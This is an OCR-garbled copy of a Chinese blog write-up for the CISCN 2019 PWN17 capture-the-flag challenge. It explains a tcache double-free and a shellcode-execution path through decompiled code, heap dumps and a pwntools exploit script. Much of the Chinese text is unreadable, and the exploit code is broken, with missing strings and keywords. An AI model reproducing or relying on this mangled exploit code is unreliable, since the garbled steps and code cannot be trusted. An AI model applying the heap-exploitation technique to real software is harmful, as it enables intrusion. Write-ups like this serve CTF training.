[i¥ % >]id% ] Tcachebin CISCN 2019 PWN17 Write up

#HE F 2019-09-01 12:39:49 &k A 695 e

SIER. WEEIEFE CEHRE: BiFE%S tcache tcachebins writeup

AL B : ASONE EJRBISCE, #4E CC 4.0 BY-SA FRALIMN, HEIEM LSl A M A= 1 .
ASCEERE: https://blog.csdn.net/izhy025907 /article/details/99206831

17 RXE6ITH
TSR

LR T —Mibc2 27HIFEH, T ##ZEtcachebinfIZEAIN A, KA X Mcachebin, KIS ERFEFAM T

HEAHBRHRAHRAHRAHBAHRAHRAHRH



https://blog.csdn.net/zhy025907
https://blog.csdn.net/zhy025907/category_6263752.html
https://so.csdn.net/so/search/s.do?q=%25E9%2580%2586%25E5%2590%2591%25E5%25AD%25A6%25E4%25B9%25A0&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=tcache&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=tcachebins&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=writeup&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/zhy025907/article/details/99206831
https://blog.csdn.net/zhy025907/category_6263752.html
https://github.com/Dittozzz/CISCN_2019_final_day1_pwn_6
https://www.jianshu.com/p/ccf189c2090b
https://github.com/Dittozzz/ctf-pwn-writeup/tree/master/CISCN_2019_final/day_2_pwn_17

v5 = _ readfsqword(@x28u);
stream = fopen("/dev/urandom™, "rb");
fread(&ptr, @xCull, 1ull, stream);
fclose(stream);
read(®, &input buf, @x10ulLL);
if ( !strnocmp(&input but, &ptr, @xCull) )
{

puts("Welcome, MIB Agent.");

result = @LL;

¥
else
{
printf ("> ");
__is50c99 scanf((_ inted)"%d", (_ inted)&input number);
if ( (signed int)input _number > 255 || !input number )
{
puts(“Access denied.");
exit(0);
}
result = input_number;

}

return(EEEE;};
¥
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FOOO 0000

| HEX  Fooo 0000
DEC  4,026,531,840
OCT 36 000 000 000

BIN 11110000 0000 0000 0000 GOGO (GOO0 G303

2. fEfATshellcode 1, EHHE AL EME, TEHL

¥

if ( !strcmp(s1l, "The cake is a liel!™) )
[ run_shellcode();]

ex1t(0);

3. Hiftif Ashellcode, HFEEHLE FTHXN%M: Fik



unsignea 1nT 1; // [rsp+lsn] [rbp-sn |
int v3; // [rsp+1Ch] [rbp-4h]

v3i = strlen(al);
for (1 =0; ; ++1 )
{
result = i:
[ if ( (signed int)i > v3 ) |
break;
[21[1] ~= al[i + 1]; |
}

gt ik
1. shellcode H+HE R JFHIA

2. fEshellcodeZ B IN—B#84, RiE strlen 1R%E, shellcode s FR& L

4. ERFTF A
freez Ja, WAHEZ, W LLERdouble free

__int64 sub _EAB()

-

if ( dword 202010 <= 8 )

exit(0);
if ( lptr )
exit(0);
free(ptr);
return (unsigned int)(dword_202010-- - 1]
!
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1. Z&tcheck, HETHIMHERRZ:

check&id =z g
&% [ Addr ]
chunk size 0x5615feceb480 (00 0x00000041
0x5615fecebd90
Ox5615fecebdAl XXX
0x5615feceb4B0 XXX
FTERMABE: The cake is not a lie!

2. HEadd—k, HEEREDNT:

add —Rzfg
add(0x71,"A" = 8)

[pReaTatatatalalr ]

fd@1F T )/bkB1F )



Chunk size

Uxoblatecendsuyu

XU

XU L

0x5615feceb490

Ox5615fecebd Al

0x5615fecebd B0

Ox5615fecebdc

0x00000091

0x5615fecebdd0

AAAAAAAAA

Ox5615feceb550

3. delete—kZJ)5:

delete —R =z &

delete()

i

Addr

chunk size

0x5615feceb480

0x00

0x00000041

0x5615feceb480

Ox5615fecebd Al

0x5615feceb4B0

Ox5615fecebdcl

0x00000091

0x5615feceb4d0

Ox5615feceb550

WRABHEEH 2L, BREERZE, £ Atcachebins

wndbg> bins

https://blog.csdn.netizhy025907

4. BER—R: ERE - ENAELE, KAERRL:

delete — X2 f5
delete()
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XKoo larecen4au UX20LDIecengay

Ox5615feceb550

pwndbg> bins

2] «— B0x5615feceb4dd
«— Bx0
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6. FEik, add—&k (HTRSWRRK, Samtbl, FTRMMAE AR, EREEIALEZMARKD -

add—3R
add(0x7f,"\x90")

HiE Addr
chunk size 0x5615feceb480 (00 0x00000041
0x5615feceb480 fd(8 = )/bk(8-]~F 1)
0x5615fecebdA0 XXX
0x5615fecebdB0 XK
0x5615fecebdcl 0x00000091
0x5615feceb4d0 0x5615feceb430

Ox5615feceb550

Ox90 [ 1]: «— 'The cake is not a lie!’
0x230 [ 1]:

X B RH 4 R0x90: FAtcachebindr ik RfdHHbhlk, A RchunkfiHilik, FrLll T 1A chunk HOx80 /I HL 5, X B 2 0x90
7. RJEHadd—IX, 18R Mtcachebinh #4743, FBHERMMIANE, MAHAX TR T Z oo AhE, 1B5E 2 2R/ & X
HEA®ET .

add (ox7f, "\x90")

add(ex7f,"The cake is a lie!\x@0")

8. %l )5 R EHcheck
JEM K REL: & check, EZK£strlen, BX00& M, Fik, FIES, TTLAGItstrenfKFE:



>>> asm("mov eax,0")
'\xb8\x00\x00\x00\x00"

&R L Hgitfexp (PR



from pwn import
local 1
argv=[""]
context.terminal=[
if local :
a=process(
libc=ELF(
else:
a=remote("",)
libc=ELF("")
debug():
gdb.attach(a,

)
menu(idx):
a.recvuntil( )
a.sendline( (idx))
add(size,content):
menu (1)
menu(size)
a.recvuntil(
a.send(content)
delete():
menu(2)
check():
.recvuntil(
.sendline(
.recvuntil(

.sendline(

shellcode_ x64

shellcode asm( )+shellcode_x64

a.recvuntil( )
a.send(shellcode)

@.interactive()
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1. tcachebins Flfastbinsf¥] X 5l :
-------- >tcachebins ¥& A 2 Htik, fastbins $& 7] 2 chunk ) ik
-------- >tcachebins NIEFE = H KU, fastbins IR K &S B H % — M
-------- >tcachebins FIBEH 71, K/MHifastbins
2%1ibc2.26 2 J5 fitcache Ll

2. tcache #l fastbinfEfree | 3 1% B #iE Rinusetr &, B LMBATHOA AR A T RS, Aeéa it
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